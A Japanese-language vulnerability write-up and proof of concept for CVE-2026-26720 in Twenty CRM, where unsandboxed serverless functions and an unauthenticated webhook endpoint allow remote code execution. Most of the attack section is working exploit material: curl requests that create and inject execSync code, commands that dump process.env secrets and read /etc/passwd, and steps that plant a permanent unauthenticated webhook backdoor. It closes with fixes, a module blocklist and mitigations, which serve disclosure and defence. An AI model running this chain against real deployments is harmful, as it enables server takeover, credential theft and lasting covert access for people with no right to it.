Twenty CRMのサーバーレス関数がクリティカルなRCEと恒久的な未認証バックドアのリスクを露呈(CVE-2026-26720)- PoCとエクスプロイト
CVE-2026-26720の技術的解説です。これはTwenty CRM(≤ v1.15.0)に存在するCVSS 9.8のクリティカルな認証済みリモートコード実行の脆弱性です。任意のワークスペースメンバーが、サンドボックス化されずに実行されるサーバーレス関数を作成・実行でき、process.envへの完全なアクセスによってAPP_SECRET、PG_DATABASE_URL、およびすべてのサーバーサイドの認証情報が漏えいします。PublicEndpointGuardを通じて公開されるWebhook起動のワークフローと組み合わせると、1人の認証済み攻撃者が、インターネット上のどこからでもアクセス可能な恒久的な未認証RCEバックドアを設置できます。
CVE-2026-26720のエクスプロイト
サンドボックス化されていないサーバーレス関数を介した認証済みRCE → 恒久的な未認証バックドア
2026年3月3日 · CVSS 9.8 クリティカル · Twenty CRM ≤ v1.15.0
| CVE ID | CVSS | 影響を受けるバージョン | 修正済みバージョン |
|---|---|---|---|
| CVE-2026-26720 | 9.8 Critical | Twenty CRM ≤ v1.15.0 | Twenty CRM v1.15.1 |
Twenty CRMは、28,000以上のGitHubスターを持つオープンソースのCRMプラットフォームで、マネージド型のクラウド提供も行っています。ワークスペースのメンバーは「サーバーレス関数」、すなわちサーバー上で実行されるカスタムのTypeScriptコードを作成できます。問題は、これらの関数が、サンドボックスもコード制限もなく、親プロセスの環境を完全に継承した状態で、むき出しのchild_process.spawn()で実行される点です。以下では、任意の認証済みユーザー(クラウド上で新規に自己登録したばかりのアカウントを含む)が、どのようにして完全なサーバーサイドのRCEを達成し、サーバー上のあらゆるシークレットを窃取し、起動に認証を一切必要としない恒久的なバックドアを設置できるのかを解説します。
CVE-2026-26720のエグゼクティブサマリー:サンドボックス化されていないサーバーレス関数の実行
CVE-2026-26720は、Twenty CRMに存在する3つの脆弱性の連鎖であり、これらが合わさってCVSS 9.8のクリティカルな影響を生み出します。
-
サンドボックス化されていないコード実行 — サーバーレス関数は
spawn(process.execPath, ...)に{ ...process.env, ...env }を与えて実行され、ユーザーが提供したコードにchild_process、fs、net、およびあらゆるサーバー環境変数(APP_SECRET、PG_DATABASE_URL、REDIS_URL)への完全なアクセスを与えてしまいます。 -
コード検証の欠如 —
updateOneServerlessFunctionミューテーションは、静的解析、ASTの制限、モジュールインポートのブロックリストが一切ないまま、任意のTypeScriptコードを受け入れます。execSync、spawn、fs.readFileSyncはすべて許可されています。 -
未認証のWebhookエンドポイント —
POST /webhooks/workflows/:workspaceId/:workflowIdエンドポイントはPublicEndpointGuardとNoPermissionGuardで保護されていますが、どちらも無条件にtrueを返します。攻撃者がいったん悪意のあるサーバーレス関数をWebhook起動のワークフローに結び付けてしまえば、インターネット上の任意のHTTPクライアントが、認証情報なしで、それを永久に起動できます。
影響:完全なリモートコード実行。任意のワークスペースメンバー(自己登録したクラウドアカウントを含む)が、すべてのサーバーシークレットを窃取し、データベースに直接アクセスし、ファイルシステムを読み書きし、恒久的な未認証バックドアを設置できます。しかもこれらはすべて、エクスプロイトの複雑さが一切ないまま、製品が意図した機能を通じて実現されます。
脆弱性 #1:完全な環境継承を伴う、サンドボックス化されていないコード実行
シンク — local.driver.tsの288行目
中核となる脆弱性は、サーバーレス関数の実行エンジンにあります。関数が実行されると、LocalDriverは子のNode.jsプロセスを生成します。
// packages/twenty-server/src/engine/core-modules/serverless/drivers/local.driver.ts
const child = spawn(process.execPath, [runnerPath], {
env: { ...process.env, ...env }, // ALL server secrets passed to child
stdio: ['pipe', 'pipe', 'pipe', 'ipc'],
});
process.envは子プロセスの環境に直接スプレッドされます。これは、Twentyサーバープロセスが利用できるすべてのシークレット(APP_SECRET、PG_DATABASE_URL、REDIS_URL、クラウドプロバイダーの認証情報、SMTPパスワード)が、process.envを通じてユーザー提供のコードからアクセス可能になることを意味します。
サンドボックスは存在しません。vm2も、isolated-vmも、Dockerコンテナも、制限的なseccompプロファイルもありません。子プロセスはサーバーと同じOSユーザーとして、同じファイルシステムアクセス、同じネットワークアクセス、同じ認証情報を持って実行されます。
インポート制限の欠如
updateOneServerlessFunctionミューテーションは任意のTypeScriptコードを受け入れ、制限なしにコンパイルします。
// packages/twenty-server/src/engine/metadata-modules/serverless-function/serverless-function.resolver.ts
@Mutation(() => ServerlessFunctionDTO)
@UseGuards(SettingsPermissionGuard(PermissionFlagType.WORKFLOWS))
async updateOneServerlessFunction(
@Args('input') input: UpdateServerlessFunctionInput,
@AuthWorkspace() { id: workspaceId }: WorkspaceEntity,
) {
return await this.serverlessFunctionService.updateOneServerlessFunction(
input, // <-- attacker-controlled code, no validation
workspaceId,
);
}
ガードはSettingsPermissionGuard(PermissionFlagType.WORKFLOWS)です。WORKFLOWS権限(デフォルトで全メンバーに付与されています)を持つ任意のワークスペースメンバーが、サーバー上で任意のコードを作成・実行できます。AST解析も、危険なモジュール(child_process、fs、net、os)のブロックリストも、コンテンツセキュリティ上の制限もありません。
環境変数の漏えい経路
Authenticated user
|
createOneServerlessFunction (GraphQL mutation)
|
updateOneServerlessFunction (inject code: execSync("id"))
|
executeOneServerlessFunction (GraphQL mutation)
|
serverlessFunctionService.execute()
|
LocalDriver.execute()
|
LocalDriver.runChildWithEnv()
|
spawn(process.execPath, [runnerPath], { env: { ...process.env } })
|
User code runs with ALL server secrets in process.env
|
RCE + full secret exfiltration
脆弱性 #2:Webhookエンドポイントを介した恒久的な未認証バックドア
侵入口 — どの層にも認証がない
Webhookトリガーのコントローラーは、認証を一切行わずにワークフローの実行をインターネットに公開しています。
// packages/twenty-server/src/engine/core-modules/workflow/controllers/workflow-trigger.controller.ts
@Controller('webhooks')
export class WorkflowTriggerController {
@Post('workflows/:workspaceId/:workflowId')
@UseGuards(PublicEndpointGuard, NoPermissionGuard) // NO AUTH
async runWorkflowByPostRequest(
@Param('workspaceId') workspaceId: string,
@Param('workflowId') workflowId: string,
@Req() request: Request,
) {
return await this.runWorkflow({
workflowId,
payload: request.body || {},
workspaceId,
});
}
}
どちらのガードも無条件にtrueを返します。
// packages/twenty-server/src/engine/guards/public-endpoint.guard.ts
@Injectable()
export class PublicEndpointGuard implements CanActivate {
canActivate(_context: ExecutionContext): boolean {
return true; // Always allow access
}
}
// packages/twenty-server/src/engine/guards/no-permission.guard.ts
@Injectable()
export class NoPermissionGuard implements CanActivate {
canActivate(_context: ExecutionContext): boolean {
return true; // No permission checks
}
}
トークンも、署名も、IP許可リストも、Webhookエンドポイントへのレート制限もありません。認証済みユーザーが、悪意のあるサーバーレス関数を指すWebhook起動のワークフローをいったん作成すると、生成されるURLは恒久的な未認証RCEエンドポイントになります。
POST /webhooks/workflows/<workspaceId>/<workflowId>
追加の未認証ベクター:RouteTriggerController
2つ目の未認証コントローラーが、同じリスク面を露呈しています。
// packages/twenty-server/src/engine/metadata-modules/route-trigger/route-trigger.controller.ts
@Controller('s')
@UseGuards(PublicEndpointGuard, NoPermissionGuard) // NO AUTH on entire controller
export class RouteTriggerController {
@Post('*path')
async post(@Req() request: Request) {
return await this.routeTriggerService.handle({
request, httpMethod: HTTPMethod.POST,
});
}
}
isAuthRequired: falseのRouteTriggerが存在する場合、/s/<path>への任意のHTTPリクエストが、認証を一切行わずに、リンクされたサーバーレス関数を直接実行します。
CVE-2026-26720の概念実証(PoC):完全なリモートコード実行
攻撃チェーンの全体(認証済みのワークスペースメンバーから、完全なサーバー侵害と恒久的な未認証バックドアまで)は、7回のHTTPリクエストを必要とします。すべてのステップは、制御されたラボ環境でTwenty CRM v1.15.0に対して確認されました。
ラボのセットアップ
Twenty CRM v1.15.0をデフォルト構成でローカルに実行します。
# docker-compose equivalent
services:
twenty-server:
image: twentycrm/twenty:v1.15.0
ports:
- "3000:3000" # API
- "3001:3001" # Frontend
environment:
APP_SECRET: "replace_me_with_a_random_string"
PG_DATABASE_URL: "postgres://postgres:postgres@localhost:5432/default"
REDIS_URL: "redis://localhost:6379"
前提条件
有効なワークスペースメンバーのアカウント。Twenty Cloudでは、これは任意の登録済みユーザーです。セルフホストでは、招待された任意のメンバーです。以下で使用するJWTトークンは、ワークスペース2782b9df-...のユーザーtim@apple.devに属するものです。
ステップ1:サーバーレス関数を作成する(認証済み)
curl -s http://localhost:3000/graphql -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
--data-binary '{
"query": "mutation CreateFn($input: CreateServerlessFunctionInput!) {
createOneServerlessFunction(input: $input) { id name }
}",
"variables": { "input": { "name": "pwn-rce" } }
}'
{
"data": {
"createOneServerlessFunction": {
"id": "679110bc-1536-4349-82c7-2a5706cc6a49",
"name": "pwn-rce"
}
}
}
ステップ2:悪意のあるコードを注入する(認証済み)
注入されるコードはchild_process.execSyncをインポートし、サーバーの環境全体をダンプします。
import { execSync } from 'child_process';
export const main = async (params: any): Promise<object> => {
const cmd = params?.command ?? 'id && hostname';
const out = execSync(String(cmd)).toString();
const env = JSON.stringify(process.env);
return { out, env };
};
curl -s http://localhost:3000/graphql -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
--data-binary '{
"query": "mutation UpdateFn($input: UpdateServerlessFunctionInput!) {
updateOneServerlessFunction(input: $input) { id name }
}",
"variables": {
"input": {
"id": "679110bc-1536-4349-82c7-2a5706cc6a49",
"update": {
"name": "pwn-rce",
"code": {
"src/index.ts": "import { execSync } from '\''child_process'\'';\nexport const main = async (params: any): Promise<object> => {\n const cmd = params?.command ?? '\''id && hostname'\'';\n const out = execSync(String(cmd)).toString();\n const env = JSON.stringify(process.env);\n return { out, env };\n};"
}
}
}
}
}'
{
"data": {
"updateOneServerlessFunction": {
"id": "679110bc-1536-4349-82c7-2a5706cc6a49",
"name": "pwn-rce"
}
}
}
検証なし。ASTチェックなし。ブロックされるインポートなし。コードはそのまま受理され、保存されます。
ステップ3:実行 — 認証済みRCEを確認
curl -s http://localhost:3000/graphql -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
--data-binary '{
"query": "mutation ExecFn($input: ExecuteServerlessFunctionInput!) {
executeOneServerlessFunction(input: $input) { data logs status error }
}",
"variables": {
"input": {
"id": "679110bc-1536-4349-82c7-2a5706cc6a49",
"payload": { "command": "id && hostname && cat /etc/passwd | head -5" },
"version": "draft"
}
}
}'
レスポンス — data.out(OSコマンドの出力):
uid=1000(soop) gid=1000(soop) groups=1000(soop),4(adm),24(cdrom),27(sudo),
30(dip),46(plugdev),100(users),114(lpadmin),126(docker),984(nordvpn)
soop
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
レスポンス — data.env(すべてのサーバーシークレットが窃取される):
{
"APP_SECRET": "replace_me_with_a_random_string",
"PG_DATABASE_URL": "postgres://postgres:postgres@localhost:5432/default",
"REDIS_URL": "redis://localhost:6379"
}
認証済みRCEを確認 — 完全なコマンド実行と、サーバー環境全体の窃取。WORKFLOWS権限(全メンバーにデフォルト付与)を持つ任意のワークスペースメンバーが、これを実行できます。
ステップ4〜6:恒久的な未認証バックドアを設置する
認証済みアクセスを使って、攻撃者は悪意のあるサーバーレス関数に結び付けたWebhook起動のワークフローを作成します。
ステップ4 — ワークフローを作成し、WEBHOOKトリガーを設定する:
# Create workflow
curl -s http://localhost:3000/graphql -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
--data-binary '{"query": "mutation { createWorkflow(data: { name: \"pwn-webhook\" }) { id name } }"}'
{"data":{"createWorkflow":{"id":"52ecef24-026d-48b0-a64b-8276570e25dd","name":"pwn-webhook"}}}
ステップ5 — 悪意のある関数を指すCODEステップを追加し、トリガーに結線し、関数を公開する:
# Publish serverless function
curl -s http://localhost:3000/graphql -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
--data-binary '{"query": "mutation { publishServerlessFunction(input: { id: \"679110bc-1536-4349-82c7-2a5706cc6a49\" }) { id publishedVersions } }"}'
{"data":{"publishServerlessFunction":{"id":"679110bc-1536-4349-82c7-2a5706cc6a49","publishedVersions":["1"]}}}
ワークフローのバージョンは、WEBHOOKトリガータイプ、悪意のある関数を参照するCODEステップ、そしてトリガー → ステップを結線するエッジで構成されます。
ステップ6 — ワークフローを有効化する:
curl -s http://localhost:3000/graphql -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
--data-binary '{"query": "mutation { activateWorkflowVersion(workflowVersionId: \"b4c8976f-dcb8-47ab-af50-2d20414577e6\") }"}'
{"data":{"activateWorkflowVersion":true}}
ステップ7:未認証RCE — 認証情報は一切不要
バックドアはこれで恒久的に有効になりました。インターネット上の任意のHTTPクライアントが、それを起動できます。
# NO Authorization header — completely unauthenticated
curl -s -X POST \
"http://localhost:3000/webhooks/workflows/2782b9df-4dd8-4deb-9f81-e60020b6d78f/52ecef24-026d-48b0-a64b-8276570e25dd" \
-H "Content-Type: application/json" \
-d '{"command": "id && whoami && cat /etc/passwd | head -5"}'
即時レスポンス(認証チェックなし):
{
"workflowName": "pwn-webhook",
"success": true,
"workflowRunId": "ccdfb94d-1566-44f2-a5ce-ab0222fffab3"
}
ワークフロー実行の結果(サーバーログ/データベースから):
uid=1000(soop) gid=1000(soop) groups=1000(soop),4(adm),24(cdrom),27(sudo),
30(dip),46(plugdev),100(users),114(lpadmin),126(docker),984(nordvpn)
soop
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
サーバーシークレット(同じ完全なダンプ — すべて未認証リクエストを介して窃取):
{
"APP_SECRET": "replace_me_with_a_random_string",
"PG_DATABASE_URL": "postgres://postgres:postgres@localhost:5432/default",
"REDIS_URL": "redis://localhost:6379"
}
完全なコマンド実行を達成 — 認証は一切不要。このWebhook URLは恒久的なバックドアです。トークンも、署名も、有効期限もありません。いったん作成されると、ワークフローが手動で削除されるまで存続します。
アタックサーフェスの分析
誰がこれを悪用できるか
| デプロイ形態 | 初期アクセス | 悪用可能か |
|---|---|---|
| セルフホスト(マルチワークスペース) | 任意の登録済みユーザー | 可能 — 完全なサーバー侵害 |
| セルフホスト(シングルワークスペース) | 招待された任意のワークスペースメンバー | 可能 — メンバーから完全なサーバー制御への権限昇格 |
影響の連鎖
Workspace member (low privilege)
↓
Create serverless function ← intended feature, no exploit needed
↓
Inject execSync / spawn code ← no validation, no sandbox
↓
Execute function ← runs as server user, inherits process.env
↓
Exfiltrate APP_SECRET, ← full secret dump
PG_DATABASE_URL, REDIS_URL
↓
Direct database access ← read/modify all workspaces, all tenants
↓
Create webhook workflow ← permanent unauthenticated backdoor
↓
Any internet client fires webhook ← zero auth, zero credentials, forever
CVE-2026-26720の修正方法
この脆弱性チェーンを完全に修復するには、3つの独立した修正が必要です。
修正1:サーバーレス関数の実行をサンドボックス化する
サーバーレス関数のランタイムは、ホストプロセスから隔離されなければなりません。子プロセスが親の環境変数を継承することは決してあってはなりません。
// BEFORE (vulnerable): full environment inheritance
const child = spawn(process.execPath, [runnerPath], {
env: { ...process.env, ...env }, // ALL server secrets leaked
stdio: ['pipe', 'pipe', 'pipe', 'ipc'],
});
// AFTER (fixed): isolated environment — only explicit variables
const child = spawn(process.execPath, [runnerPath], {
env: {
NODE_PATH: process.env.NODE_PATH,
PATH: process.env.PATH,
...env, // only workspace-specific vars
},
stdio: ['pipe', 'pipe', 'pipe', 'ipc'],
});
多層防御として、関数を隔離されたコンテナ(Docker/gVisor/Firecracker)で、次の条件のもとに実行します。
- 読み取り専用のファイルシステム(
/tmpを除く) - 内部サービスへのネットワークアクセスなし
- CPU/メモリの上限
- 分離された非特権ユーザー
修正2:サーバーレス関数のコードを検証する
コンパイル前に、Node.jsモジュールのインポートに対するブロックリストまたは許可リストを実装します。
const BLOCKED_MODULES = [
'child_process', 'cluster', 'dgram', 'dns', 'net',
'tls', 'vm', 'worker_threads', 'fs', 'os',
];
// Parse AST and reject any import/require of blocked modules
修正3:Webhookエンドポイントを認証する
Webhookトリガーのエンドポイントは、認証を必須とすべきです。最低でも、ワークフローごとのHMAC署名を求めます。
// BEFORE (vulnerable): no authentication
@UseGuards(PublicEndpointGuard, NoPermissionGuard)
// AFTER (fixed): require webhook signature
@UseGuards(WebhookSignatureGuard)
async runWorkflowByPostRequest(...)
Webhook起動の各ワークフローは一意のシークレットを持つべきであり、受信リクエストには有効なX-Webhook-Signatureヘッダーが含まれていなければなりません。有効な署名のないリクエストは、401で拒否されなければなりません。
CVE-2026-26720の緩和策とベストプラクティス
- 直ちに更新する — 修正済みバージョンがリリースされ次第、更新します。Twenty CRMのGitHubリポジトリとチェンジログを監視してください。
- サーバーレス関数を制限する — デプロイでカスタムのサーバーレス関数が不要な場合は、この機能を完全に無効化するか、WORKFLOWS権限を管理者のみに制限してください。
- 既存の関数を監査する — ワークスペース内のすべてのサーバーレス関数に、疑わしいインポート(
child_process、fs、net)がないかをレビューしてください。ワークスペーススキーマの_metadata.serverlessFunctionテーブルを確認してください。 - Webhookエンドポイントをファイアウォールで保護する — 修正が提供されるまで、リバースプロキシのレベルで
/webhooks/workflows/*と/s/*への外部アクセスをブロックしてください。 - シークレットをローテーションする — インスタンスがサーバーレス関数を有効にした状態で公開されていた場合は、すべての環境変数が侵害されたものとみなしてください。
APP_SECRET、データベースの認証情報、Redisの認証情報、SMTPパスワード、およびすべてのAPIキーをローテーションしてください。 - ワークフローのアクティビティを監視する — 想定外の実行、特に
source: WEBHOOKであり、対応する正当な連携が存在しないものがないか、workflowRunテーブルを監査してください。
参考文献
| リソース | リンク |
|---|---|
| Twenty CRM GitHub | https://github.com/twentyhq/twenty |
| Twenty CRM v1.15.0 Release | https://github.com/twentyhq/twenty/releases/tag/v1.15.0 |
| NestJS Guards Documentation | https://docs.nestjs.com/guards |
| OWASP — Injection | https://owasp.org/Top10/A03_2021-Injection/ |
| CWE-94: Code Injection | https://cwe.mitre.org/data/definitions/94.html |
| CWE-250: Execution with Unnecessary Privileges | https://cwe.mitre.org/data/definitions/250.html |